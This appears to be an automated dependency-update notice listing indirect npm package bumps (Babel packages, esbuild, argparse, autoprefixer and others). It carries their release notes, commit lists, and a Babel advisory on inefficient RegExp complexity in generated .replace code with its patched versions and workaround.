- Dylan Piercey (@DylanPiercey)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.7
v7.24.7 (2024-06-05)
๐ Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)๐ Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)๐ Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.3
v7.24.3 (2024-03-20)
๐ Bug Fix
babel-helper-module-imports
- #16370 fix: do not inject the same imported identifier multiple times (@ota-meshi)
Committers: 2
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Yosuke Ota (@ota-meshi)
7.24.1
v7.24.1 (2024-03-19)
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-plugin-proposal-decorators,babel-plugin-proposal-json-modules,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-plugin-transform-runtime,babel-preset-env
- #16329 Respect
moduleNamefor@babel/runtime/regeneratorimports (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-replace-supers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties๐ Documentation
- #16319 Update SECURITY.md (@nicolo-ribaudo)
๐ Internal
babel-code-frame,babel-highlight
- #16359 Replace
chalkwithpicocolors(@nicolo-ribaudo)babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-safari-id-destructuring-collision-in-function-expression,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-unicode-sets-regex,babel-preset-env,babel-preset-flowbabel-helper-module-imports,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-plugin-proposal-record-and-tuple,babel-plugin-transform-react-jsx-development,babel-plugin-transform-react-jsx
- #16349 Support merging imports in import injector (@nicolo-ribaudo)
- Other
- #16332 Test Babel 7 plugins compatibility with Babel 8 core (@nicolo-ribaudo)
๐ฌ Output optimization
babel-helper-replace-supers,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-parameters,babel-plugin-transform-runtime
- #16345 Optimize the use of
assertThisInitializedaftersuper()(@liuxingbaoyu)babel-plugin-transform-class-properties,babel-plugin-transform-classes
- #16343 Use simpler
assertThisInitializedmore often (@liuxingbaoyu)babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-object-rest-spread,babel-traverse
- #16342 Consider well-known and registered symbols as literals (@nicolo-ribaudo)
babel-core,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-function-bind,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-flow-comments,babel-plugin-transform-flow-strip-types,babel-plugin-transform-function-name,babel-plugin-transform-modules-systemjs,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx,babel-plugin-transform-runtime,babel-plugin-transform-spread,babel-plugin-transform-typescript,babel-preset-env
- #16326 Reduce the use of class names (@liuxingbaoyu)
Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.15
v7.22.15 (2023-09-04)
๐ Bug Fix
babel-core
- #15923 Only perform config loading re-entrancy check for cjs (@nicolo-ribaudo)
๐ Internal
- Every package
- #15892 Add explicit
.ts/.jsextension to all imports insrc(@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.5
v7.22.5 (2023-06-08)
๐ Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
๐ Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.4
v7.21.4 (2023-03-31)
๐ Bug Fix
babel-core,babel-helper-module-imports,babel-preset-typescript
- #15478 Fix support for
import/exportin.ctsfiles (@liuxingbaoyu)babel-generator
๐ Polish
babel-helper-create-class-features-plugin,babel-plugin-proposal-class-properties,babel-plugin-transform-typescript,babel-traverse
- #15427 Fix moving comments of removed nodes (@nicolo-ribaudo)
๐ Internal
- Other
babel-parserbabel-code-frame,babel-highlightCommitters: 6
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Ryan Tsao (@rtsao)
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helper-module-transforms (indirect, 7.20.2 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helper-plugin-utils (indirect, 7.20.2 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
7.29.7
v7.29.7 (2026-05-25)
Re-release all packages with npm provenance attestations
7.27.1
v7.27.1 (2025-04-30)
Thanks @kermanx and @woaitsAryan for your first PRs!
๐ Spec Compliance
babel-parserbabel-parser,babel-types๐ Bug Fix
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-traversebabel-helper-wrap-function,babel-plugin-transform-async-to-generator
- #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
babel-helper-remap-async-to-generator,babel-plugin-transform-async-to-generatorbabel-helper-fixtures,babel-parserbabel-generator,babel-parserbabel-parserbabel-compat-data,babel-preset-envbabel-traverse
- #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
babel-generator๐ Polish
babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-transform-arrow-functions,babel-plugin-transform-class-properties,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-traverse
- #17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)
๐ Internal
babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #17263 Remove unused
regenerator-runtimedep in@babel/runtime(@nicolo-ribaudo)babel-compat-data,babel-preset-envbabel-compat-data,babel-standalonebabel-register
- #16844 Migrate
@babel/registerto cts (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)
- All packages
๐ฌ Output optimization
babel-helpers,babel-plugin-transform-modules-commonjs,babel-runtime-corejs3
- #16538 Reduce
interopRequireWildcardsize (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17213 Reduce
regeneratorRuntimesize (@liuxingbaoyu)Committers: 9
- Aryan Bharti (@woaitsAryan)
- Babel Bot (@babel-bot)
- Frolov Roman (@Lacsw)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
- _Kerman (@kermanx)
- fisker Cheung (@fisker)
7.26.5
v7.26.5 (2025-01-10)
๐ Spec Compliance
babel-parser
- #17011 Allow the dynamic
import.defer()form ofimport defer(@babel-bot)๐ Bug Fix
babel-plugin-transform-block-scoped-functions
- #17024 chore: Avoid calling
isInStrictModein Babel 7 (@liuxingbaoyu)babel-plugin-transform-typescript
- #17026 fix: Correctly generate exported const enums in namespace (@liuxingbaoyu)
babel-parser
- #17045 [estree] Unify method type parameters handling (@JLHwung)
- #17013 fix: Correctly set position for
@(a.b)()(@liuxingbaoyu)- #16996 [estree] Adjust the start loc of class methods with type params (@nicolo-ribaudo)
babel-generator,babel-parser,babel-plugin-transform-flow-strip-types,babel-typesbabel-compat-data,babel-preset-env
- #17031 fix: More accurate
transform-typeof-symbolcompat data (@liuxingbaoyu)babel-generator,babel-parser,babel-types๐ฌ Output optimization
babel-plugin-transform-nullish-coalescing-operator
- #16612 Improve nullish coalescing operator output (@liuxingbaoyu)
Committers: 5
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
๐ Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)๐ Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)๐โโ๏ธ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Viktar Vaลญฤkieviฤ (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
๐ Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)๐ Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
๐ Internal
babel-core
- #16820 Allow sync loading of ESM when
--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)๐โโ๏ธ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
- Dylan Piercey (@DylanPiercey)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.8
v7.24.8 (2024-07-11)
Thanks @H0onnn, @jkup and @SreeXD for your first pull requests!
๐ Spec Compliance
babel-parser
- #16567 Do not use strict mode in TS
declare(@liuxingbaoyu)๐ Bug Fix
babel-generator
- #16630 Correctly print parens around
ininforheads (@nicolo-ribaudo)- #16626 Fix printing of comments in
await using(@nicolo-ribaudo)- #16591 fix typescript code generation for yield expression inside type expreโฆ (@SreeXD)
babel-parser
- #16613 Disallow destructuring assignment in
usingdeclarations (@H0onnn)- #16490 fix: do not add
.value: undefinedto regexp literals (@liuxingbaoyu)babel-types
- #16615 Remove boolean props from
ObjectTypeInternalSlotvisitor keys (@nicolo-ribaudo)babel-plugin-transform-typescript
- #16566 fix: Correctly handle
export import x =(@liuxingbaoyu)๐ Polish
babel-generator
- #16625 Avoid unnecessary parens around
asyncinfor await(@nicolo-ribaudo)babel-traverse
- #16619 Avoid checking
Scope.globalsmultiple times (@liuxingbaoyu)Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Jon Kuperman (@jkup)
- Nagendran N (@SreeXD)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @H0onnn
- @liuxingbaoyu
7.24.7
v7.24.7 (2024-06-05)
๐ Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)๐ Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)๐ Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.5
v7.24.5 (2024-04-29)
Thanks @romgrk and @sossost for your first PRs!
๐ Bug Fix
babel-plugin-transform-classes,babel-traverse
- #16377 fix: TypeScript annotation affects output (@liuxingbaoyu)
babel-helpers,babel-plugin-proposal-explicit-resource-management,babel-runtime-corejs3๐ Polish
๐ Internal
- Other
- #16414 Relax ESLint peerDependency constraint to allow v9 (@liuxingbaoyu)
babel-parser
- #16425 Improve
@babel/parserAST types (@nicolo-ribaudo)- #16417 Always pass type argument to
.startNode(@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-helper-module-transforms,babel-helper-split-export-declaration,babel-helper-wrap-function,babel-helpers,babel-plugin-bugfix-firefox-class-in-computed-class-key,babel-plugin-proposal-explicit-resource-management,babel-plugin-transform-block-scoping,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx-self,babel-plugin-transform-typeof-symbol,babel-plugin-transform-typescript,babel-traverse
- #16439 Make
NodePath<T | U>distributive (@nicolo-ribaudo)babel-plugin-proposal-partial-application,babel-types
- #16421 Remove
JSXNamespacedNamefrom validCallExpressionargs (@nicolo-ribaudo)babel-plugin-transform-class-properties,babel-preset-env
- #16406 Do not load unnecessary Babel 7 syntax plugins in Babel 8 (@nicolo-ribaudo)
๐โโ๏ธ Performance
babel-helpers,babel-preset-env,babel-runtime-corejs3Committers: 6
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Rom Grk (@romgrk)
- @liuxingbaoyu
- ynnsuis (@sossost)
7.24.0
v7.24.0 (2024-02-28)
Thanks @ajihyf for your first PR!
Release post with summary and highlights: https://babeljs.io/7.24.0
๐ New Feature
babel-standalonebabel-core,babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-class-properties
- #16267 Implement
noUninitializedPrivateFieldAccessassumption (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-syntax-decorators,babel-plugin-transform-class-properties,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtimebabel-preset-flow
- #16309 [babel 7] Allow setting
ignoreExtensionsin Flow preset (@nicolo-ribaudo)- #16284 Add
experimental_useHermesParseroption inpreset-flow(@liuxingbaoyu)babel-helper-import-to-platform-api,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-standalone
- #16172 Add transform support for JSON modules imports (@nicolo-ribaudo)
babel-plugin-transform-runtime
- #16241 Add back
moduleNameoption to@babel/plugin-transform-runtime(@nicolo-ribaudo)babel-parser,babel-types
- #16277 Allow import attributes for
TSImportType(@sosukesuzuki)๐ Bug Fix
babel-plugin-proposal-do-expressions,babel-traversebabel-helper-create-class-features-plugin,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object
- #16312 Fix class private properties when
privateFieldsAsSymbols(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-plugin-transform-private-methods
- #16307 Fix the support of
argumentsin privateget/setmethod (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16281 Fix evaluation order of decorators with cached receiver (@nicolo-ribaudo)
- #16279 Fix decorator this memoization (@JLHwung)
- #16266 Preserve
staticon decorated privateaccessor(@nicolo-ribaudo)- #16258 fix: handle decorated async private method and generator (@JLHwung)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-async-generator-functions,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-plugin-transform-typescript,babel-preset-env
- #16275 Fix class private properties when
privateFieldsAsProperties(@liuxingbaoyu)babel-helpers
- #16268 Do not consider
argumentsin a helper as a global reference (@nicolo-ribaudo)babel-helpers,babel-plugin-proposal-decorators
- #16270 Handle symbol key class elements decoration (@JLHwung)
- #16265 Do not define
access.getfor public setter decorators (@nicolo-ribaudo)๐ Polish
babel-core,babel-helper-create-class-features-plugin,babel-preset-env
- #12428 Suggest using
BABEL_SHOW_CONFIG_FORfor config problems (@nicolo-ribaudo)๐ Internal
babel-helper-transform-fixture-test-runner
- #16278 Continue writing
output.jswhenexec.jsthrows (@liuxingbaoyu)๐ฌ Output optimization
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16306 Avoid intermediate functions for private accessors with decs (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-properties
- #16294 More aggressively inline decorators in the static block (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-private-methods
- #16283 Do not use
classPrivateMethodGet(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-proposal-destructuring-private,babel-plugin-proposal-optional-chaining-assign,babel-plugin-transform-class-properties,babel-plugin-transform-class-static-block,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16261 Do not use descriptors for private class elements (@nicolo-ribaudo)
babel-helpers,babel-plugin-proposal-decorators
- #16263 Reduce helper size for decorator 2023-11 (@liuxingbaoyu)
Committers: 7
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- SUZUKI Sosuke (@sosukesuzuki)
- Yarden Shoham (@yardenshoham)
- @liuxingbaoyu
- flyafly (@ajihyf)
7.22.5
v7.22.5 (2023-06-08)
๐ Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
๐ Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.5
v7.21.5 (2023-04-28)
๐ Spec Compliance
babel-generator,babel-parser,babel-types
- #15539 fix: Remove
mixinsandimplementsforDeclareInterfaceandInterfaceDeclaration(@liuxingbaoyu)
๐ Bug Fix
babel-core,babel-generator,babel-plugin-transform-modules-commonjs,babel-plugin-transform-react-jsx
- #15515 fix:
)position withcreateParenthesizedExpressions(@liuxingbaoyu)babel-preset-env
๐ Polish
babel-types
- #15546 Improve the layout of generated validators (@liuxingbaoyu)
babel-core
- #15535 Use
ltinstead oflteto check TS version for .cts config (@nicolo-ribaudo)
๐ Internal
babel-core
- #15575 Use synchronous
import.meta.resolve(@nicolo-ribaudo)babel-helper-fixtures,babel-preset-typescriptbabel-helper-create-class-features-plugin,babel-helper-create-regexp-features-plugin
- #15548 Use
semverpackage to compare versions (@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helpers (indirect, 7.20.1 โ 7.29.7) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
Impact
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the
.replacemethod that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to.replace).Your generated code is vulnerable if all the following conditions are true:
- You use Babel to compile regular expression named capturing groups
- You use the
.replacemethod on a regular expression that contains named capturing groups- Your code uses untrusted strings as the second argument of
.replaceIf you are using
@babel/preset-envwith thetargetsoption, the transform that injects the vulnerable code is automatically enabled if:
- you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
- you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10
You can verify what transforms
@babel/preset-envis using by enabling thedebugoption.Patches
This problem has been fixed in
@babel/helpersand@babel/runtime7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on@babel/helpers, and instead you depend on@babel/core(which itself depends on@babel/helpers). Upgrading to@babel/core7.26.10 is not required, but it guarantees that you are on a new enough@babel/helpersversion.Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
Workarounds
If you are passing user-provided strings as the second argument of
.replaceon regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring$<if it's then not followed by>(possibly with other characters in between).References
This vulnerability was reported and fixed in #17173.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โesbuild/android-arm (indirect, 0.15.15 โ 0.28.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 14 commits:
publish 0.28.1 to npmsecurity: add integrity checks to the Deno APIenforce non-negative size in gzip parsersecurity: forbid `\\` in local dev server requestsfix #4482: don't inline `using` declarationsfix #4471: renaming of nested `var` declarationsfix some typoschore: fix some minor issues in comments (#4462)follow up: cjs evaluation fixesfix #4461, fix #4467: esm evaluation fixesupdate go 1.26.1 => 1.26.4 (closes #4464)fix #4448: `import =` uses `var` with `es5` targetfix #4477: parens edge cases for `new` expressionsjs printer: `forbidCall` => `isNewTarget`
โ๏ธ @โjridgewell/gen-mapping (indirect, 0.1.1 โ 0.3.13) ยท Repo ยท Changelog
Release Notes
0.3.5
What's Changed
- Add
ignoreListsupport: 9add0c2Full Changelog: v0.3.4...v0.3.5
0.3.4
Full Changelog: v0.3.3...v0.3.4
0.3.3
Full Changelog: v0.3.2...v0.3.3
0.3.2
Internal
- [meta] fix "exports" for node 13.0-13.6 by @ljharb in #4
- Fix built sources paths
New Contributors
Full Changelog: v0.3.1...v0.3.2
Does any of this look wrong? Please let us know.
โ๏ธ @โtypes/babel__core (indirect, 7.1.20 โ 7.20.5) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__generator (indirect, 7.6.4 โ 7.27.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__template (indirect, 7.4.1 โ 7.4.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/babel__traverse (indirect, 7.18.2 โ 7.28.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/hast (indirect, 2.3.4 โ 3.0.5) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/mdast (indirect, 3.0.10 โ 4.0.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ argparse (indirect, 1.0.10 โ 2.0.1) ยท Repo ยท Changelog
Release Notes
2.0.1 (from changelog)
Fixed
- Fix issue with
process.argvwhen used with interpreters (coffee,ts-node, etc.), #150.
2.0.0 (from changelog)
Changed
- Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
- node.js 10+ required
- Removed most of local docs in favour of original ones.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
2.0.1 releasedAlways assume process.argv[0] is interpreterAdd more migration docs2.0.0 releasedImplement argparse.js version 2.0Add 2.0 configs & docsDrop old sources (2.0 is full rewrite)Merge pull request #145 from lpinca/document/version-optionAdd documentation for the version optionreadme: update titelift infochangelog format updateAdd Tidelift link & fix headers formattingCreate FUNDING.ymlMerge pull request #129 from marcin-mazurek/patch-1Fix require statements in README examples
โ๏ธ autoprefixer (indirect, 10.4.13 โ 10.5.4) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ common-ancestor-path (indirect, 1.0.1 โ 2.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 2 commits:
